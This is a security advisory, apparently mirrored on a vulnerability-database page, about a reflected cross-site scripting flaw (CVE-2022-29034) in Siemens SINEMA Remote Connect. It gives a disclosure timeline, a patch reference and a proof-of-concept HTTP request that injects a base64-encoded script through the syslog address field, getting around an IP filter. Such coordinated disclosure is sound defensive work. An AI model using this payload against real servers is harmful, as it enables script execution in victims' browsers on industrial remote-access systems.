Lucene search
K

SIEMENS-SINEMA Remote Connect 3.0.1.0-01.01.00.02 Cross Site Scripting Vulnerability

🗓️ 21 Jun 2022 00:00:00Reported by Steffen RobertzType 
zdt
 zdt
🔗 0day.today👁 407 Views

SIEMENS-SINEMA Remote Connect 3.0.1.0-01.01.00.02 Cross Site Scripting Vulnerability. Reflected Cross Site Scripting in SIEMENS-SINEMA Remote Connect <=V3.0.1.0-01.01.00.02 allows execution of JavaScript code in victim's browser. Patch available mid May with fixed version V3.1.0

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2022-29034
14 Jun 202210:15
attackerkb
CNNVD
Siemens SINEMA Remote Connect Server 跨站脚本漏洞
14 Jun 202200:00
cnnvd
CNVD
Siemens SINEMA Remote Connect Server Cross-Site Scripting Vulnerability (CNVD-2022-45230)
15 Jun 202200:00
cnvd
CVE
CVE-2022-29034
14 Jun 202209:21
cve
Cvelist
CVE-2022-29034
14 Jun 202209:21
cvelist
EUVD
EUVD-2022-33464
3 Oct 202520:07
euvd
ICS
Siemens OpenSSL Affecting Industrial Products
14 Jun 202200:00
ics
NVD
CVE-2022-29034
14 Jun 202210:15
nvd
Packet Storm
SIEMENS-SINEMA Remote Connect 3.0.1.0-01.01.00.02 Cross Site Scripting
20 Jun 202200:00
packetstorm
Prion
Cross site scripting
14 Jun 202210:15
prion
Rows per page
=======================================================================
               title: Reflected Cross Site Scripting
             product: SIEMENS-SINEMA Remote Connect
  vulnerable version: <=V3.0.1.0-01.01.00.02
       fixed version: V3.1.0
          CVE number: CVE-2022-29034
              impact: medium
            homepage: https://siemens.com
               found: 2022-03-01
                  by: S. Robertz (Office Vienna)
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Atos company
                      Europe | Asia | North America

                      https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"Siemens is a technology company focused on industry, infrastructure,
transport, and healthcare.
 From more resource-efficient factories, resilient supply chains, and smarter
buildings and grids, to cleaner and more comfortable transportation as well as
advanced healthcare, we create technology with purpose adding real value for
customers. By combining the real and the digital worlds, we empower our
customers to transform their industries and markets, helping them to transform
the everyday for billions of people."

"SINEMA Remote Connect is the management platform for remote networks. It is a
server application that enables the simple management of tunnel connections
(VPN) between headquarters, service technicians, and installed machines or
plants."


Source: https://www.siemens.com
Source: 
https://new.siemens.com/global/en/products/automation/industrial-communication/industrial-remote-communication/remote-networks/sinema-remote-connect-access-service.html


Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately.


Vulnerability overview/description:
-----------------------------------
1) Reflected Cross Site Scripting (CVE-2022-29034)
The application contains a reflected cross-site-scripting vulnerability that
can be used to execute JavaScript code in the victim's browser.


Proof of concept:
-----------------
1) Reflected Cross Site Scripting (CVE-2022-29034)
The error occurs when setting the syslog server to an illegal IP address. An
error message will pop up and will reflect the supplied IP address. However,
the popup message does not use the proper JQuery method, and thus allows to
inject JavaScript code. Note that dots can not be used in the JavaScript
payload, as they will get filtered by the IP parser that runs beforehand.
This was circumvented by supplying the JavaScript code in base64.

Following request can be used to trigger the XSS:

POST /services/syslog_client_settings HTTP/1.1
Host: $host
Cookie: sessionid=708xmctjzk39og596jp4q4r1udfom4l5;
csrftoken=sP8NzwJozla1k18xrRzsXiY0zq16IyBddtlDA1C5BC1Orf0oGcqUPr2bpUv1VGLu
Content-Length: 153
X-Requested-With: XMLHttpRequest
X-Csrftoken: U5AQMbPh3JTcdfdBkgIvaLtoitpS7jUVFJNGNGIY50KZkt5szBzX2Uxz8XTNkr4c
Referer: https://$host/services/syslog_client_settings
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

address=127.0.0.1.<script>eval(atob("YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="))</script>&port=1234&pr
otocol=tcp&client_authentication=false&certificate=62&mode=



Vulnerable / tested versions:
-----------------------------
The following version has been tested and found to be vulnerable:
* V3.0.1.0-01.01.00.02


Vendor contact timeline:
------------------------
2022-04-01: Sending advisory via [email protected]
2022-04-01: Issue tracked by Siemens under case #29947
2022-04-19: Siemens confirms vulnerability. Patch available mid May.
             Coordinated advisory release date for 2022-06-14.
2022-06-07: Asking for fixed versions & CVE numbers.
2022-06-14: Coordinated advisory release.


Solution:
---------
Version V3.1.0 fixes our identified issues as well as other security
vulnerabilities according to the vendor. The firmware can be downloaded here:
https://support.industry.siemens.com/cs/ww/en/view/109811169/

The vendor published a security advisory as well:
https://cert-portal.siemens.com/productcert/html/ssa-484086.html

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jun 2022 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 24.3
CVSS 3.16.1
EPSS0.07048
SSVC
407